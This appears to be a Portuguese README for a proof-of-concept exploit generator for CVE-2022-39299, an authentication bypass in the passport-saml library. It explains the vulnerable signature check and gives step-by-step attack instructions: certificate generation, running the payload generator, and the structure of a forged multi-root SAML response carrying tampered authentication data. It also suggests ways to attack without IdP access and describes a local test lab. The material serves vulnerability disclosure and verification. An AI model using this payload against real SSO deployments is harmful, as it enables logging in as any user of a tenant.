
Um simples gerador de exploits PoC do CVE-2022-39299 para contornar a autenticação em integrações SAML SSO usando versões vulneráveis do passport-saml.
Advisory : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
Patch : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Exemplo de Payload Base Extraído dos casos de teste do node-saml: https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
Autor do Bug: felixwilhelm
Autor do Gerador de Exploit (A parte fácil): Francesco Lacerenza
Um atacante remoto pode ser capaz de contornar a autenticação SAML SSO em uma plataforma ao explorar a CVE-2022-39299 que afeta a biblioteca passport-saml.
Um exploit público não estava disponível (no momento da redação), e o advisory foi publicado em 10/12/2022 com pouca ou nenhuma informação.
A Doyensec desenvolveu um gerador de Prova de Conceito (PoC) funcional para verificar o problema em plataformas multi-tenant nas quais o administrador do tenant pode configurar SAML SSO com um IdP personalizado.
Conforme declarado no advisory:
Um ataque bem-sucedido exige que o atacante esteja de posse de um elemento XML assinado por um IdP arbitrário. Dependendo do IdP utilizado, ataques totalmente não autenticados (ou seja, sem acesso a um usuário válido) também podem ser viáveis se a geração de uma mensagem assinada puder ser acionada.
A verificação vulnerável está localizada dentro da função validatePostResponse em passport-saml-2.0.0/src/passport-saml/saml.ts:775
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
Em particular, validateSignature verifica se o doc.documentElement no documento XML completo contém uma assinatura válida. Como a propriedade documentElement retorna o primeiro nó raiz do documento, ela verificará a assinatura apenas no primeiro elemento raiz.
A função continua verificando se há apenas uma assertion dentro do XML:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
Como resultado, o parser XML analisará um documento XML com múltiplas raízes. Embora uma assinatura possa ser aplicada a apenas um nó raiz, o XPath pode percorrer múltiplos nós raiz para encontrar elementos de autenticação e autorização.
Em conclusão, um nó raiz pode ser assinado (ex.: Mensagem de Erro SAML Genérica) e então outro nó, não assinado, pode conter informações de autenticação e autorização modificáveis. Dessa forma, o atacante consegue adulterar as informações de autenticação e obter acesso a qualquer conta dentro do tenant.
NOTA: O sucesso da exploração depende completamente da lógica interna de autenticação relacionada ao uso da biblioteca passport. Se a lógica de autenticação confiar totalmente no objeto de sessão autenticada resultante de passport.authenticate(...PASSPORT-SAML_OPTIONS...), então é provável que esteja vulnerável.
openssl na pasta do gerador de PoC:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
Alternativamente, use os que estão neste repositório.
Na plataforma alvo, navegue como administrador até o painel de Integração SAML SSO. Em seguida, defina o certificado usado para validar assinaturas do IdP como o que está nesta pasta.
Configure o payload_appendix.xml com os elementos authn & authz necessários para a plataforma autenticar Usuários SAML SSO. Você pode encontrar tais informações na documentação ou criando uma integração SSO funcional para aprender os elementos de autenticação válidos.
Execute o seguinte comando para gerar uma resposta SAML assinada com múltiplos elementos raiz contendo seus dados adulterados.
python3 payloadGenerator.py
A resposta SAML com múltiplos elementos raiz tem a seguinte estrutura:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
NOTA: Se você quiser explorar esse problema quando não tiver acesso à configuração do IdP, basta modificar o payloadGenerator.py substituindo a variável signed_base_payload_unicode usada para construir o payload final. Para funcionar, você deve substituí-la por uma Resposta SAML assinada que não contenha Assertions. Boa sorte encontrando uma maneira de obtê-la do IdP alvo (a lógica é aplicada caso a caso e não há literatura a respeito delas).
Em organizações com Integração SAML SSO habilitada, atacantes poderiam contornar a autenticação e entrar com qualquer usuário do tenant.
Embora o advisory afirme que o atacante poderia usar "um elemento XML assinado por um IdP arbitrário", a biblioteca passport-saml impede qualquer mensagem XML contendo múltiplas assertions (veja o trecho de código na seção de descrição). A limitação exige que o atacante obtenha uma mensagem SAML assinada que não contenha uma assertion, como uma mensagem de erro. A presença de tais mensagens depende da implementação do IdP.
Como exemplo, respostas SAML sem assertions são diretamente suportadas pela biblioteca node-samlp da Auth0. Veja em https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
O exemplo acima mostra a possibilidade de introduzir caminhos de código que levam a mensagens assinadas sem assertions, mesmo usando a tecnologia da Auth0. Nesse sentido, os IdPs de clientes podem conter tais padrões.
Se um atacante encontrar uma maneira de acionar tais mensagens, ataques totalmente não autenticados (ou seja, sem acesso a um usuário válido) também podem ser viáveis.
Em conclusão, plataformas multi-tenant que permitem Integrações SAML SSO personalizadas por tenant vulneráveis à CVE-2022-39299 estão potencialmente permitindo bypass de autenticação sempre que o IdP do cliente suporta mensagens de erro SAML assinadas sem assertions.
Realizamos testes localmente usando os seguintes recursos:
Gere o Certificado de Assinatura do IdP na pasta do gerador de PoC
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
Execute o IdP com o seguinte comando na pasta que contém o cert & key gerados
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
O aplicativo precisa de configuração adicional para funcionar com um IdP local. Basta preencher o arquivo passport-saml-example/config/config.js com as informações do IdP.
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
Além disso, o package.json precisa ser editado para usar versões vulneráveis do passport. Extraia todas as versões necessárias do código-fonte alvo, se disponíveis.
Quando estiver pronto, basta iniciar o aplicativo:
npm install
npm start